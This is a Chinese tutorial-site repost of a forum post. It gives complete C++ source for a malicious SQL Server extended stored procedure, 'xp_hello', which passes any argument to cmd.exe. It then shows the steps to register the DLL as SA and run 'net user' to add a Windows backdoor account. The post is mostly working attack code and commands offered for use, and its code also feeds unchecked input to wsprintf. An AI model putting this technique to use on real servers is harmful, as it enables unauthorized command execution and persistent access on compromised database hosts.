来源:自学PHP网 时间:2015-04-17 15:08 作者: 阅读:次
[导读] 来源:冰点论坛 2月主要代码:在VC6里面新建一个储存过程项目,在proc.cpp中写入如下代码:#include stdafx.h#include shellapi.h#define XP_NOERROR 0#define XP_ERROR 1#define MAXCOLNAME 25#define...
来源:冰点论坛 2月 主要代码: 在VC6里面新建一个储存过程项目,在proc.cpp中写入如下代码: #include <stdafx.h> #include <shellapi.h> #define XP_NOERROR 0 #define XP_ERROR 1 #define MAXCOLNAME 25 #define MAXNAME 25 #define MAXTEXT 255 #ifdef __cplusplus extern “C” { #endif RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc); #ifdef __cplusplus } #endif RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc) { /***************************** 说明 ************************* 由于本人人品不好还是怎么的,库里没有srv_paraminfo函数,卧槽, 无赖之下,只好用老式的srv_paramdata *************************************************************/ int bufLen; DBCHAR spName[MAXNAME]; DBCHAR spText[MAXTEXT]; DBCHAR spBuf[MAXTEXT]; unsigned char cmdline[255] = “”; if(srv_rpcparams(srvproc) != 1) return XP_ERROR; //参数判断,如果参数不是1个就立即退出 bufLen = srv_paramlen(srvproc,1); if(!bufLen) return XP_ERROR; wsprintf(spBuf,(DBCHAR*)srv_paramdata(srvproc,1));spBuf[bufLen] = ‘\0′; //获取第一个参数的值 wsprintf(spName, “xp_hello”); wsprintf(spText, “%s Run command:[%s] MSN:ylbhz@hotmail.com”, spName,spBuf); srv_sendmsg(srvproc,SRV_MSG_INFO,0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,spText,SRV_NULLTERM); //发送消息 wsprintf((char*)cmdline,”/c %s”,spBuf); //构造参数 ShellExecute(0,”open”,”cmd.exe”,(char*)cmdline,NULL,SW_SHOW); //执行命令 return XP_NOERROR ; }
以SA连接SQL Server 执行 dbcc addextendedproc(‘xp_hello’,c:xp_hello.dll’); 提示成功过后,调用 exec xp_hello ‘net user fuck fuck /add’; 这样系统里面就多了个fuck账户 C:Documents and SettingsAdministrator桌面\工作区间CDebug>net user \PC-200910151119 的用户帐户 —————————————————————————– |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com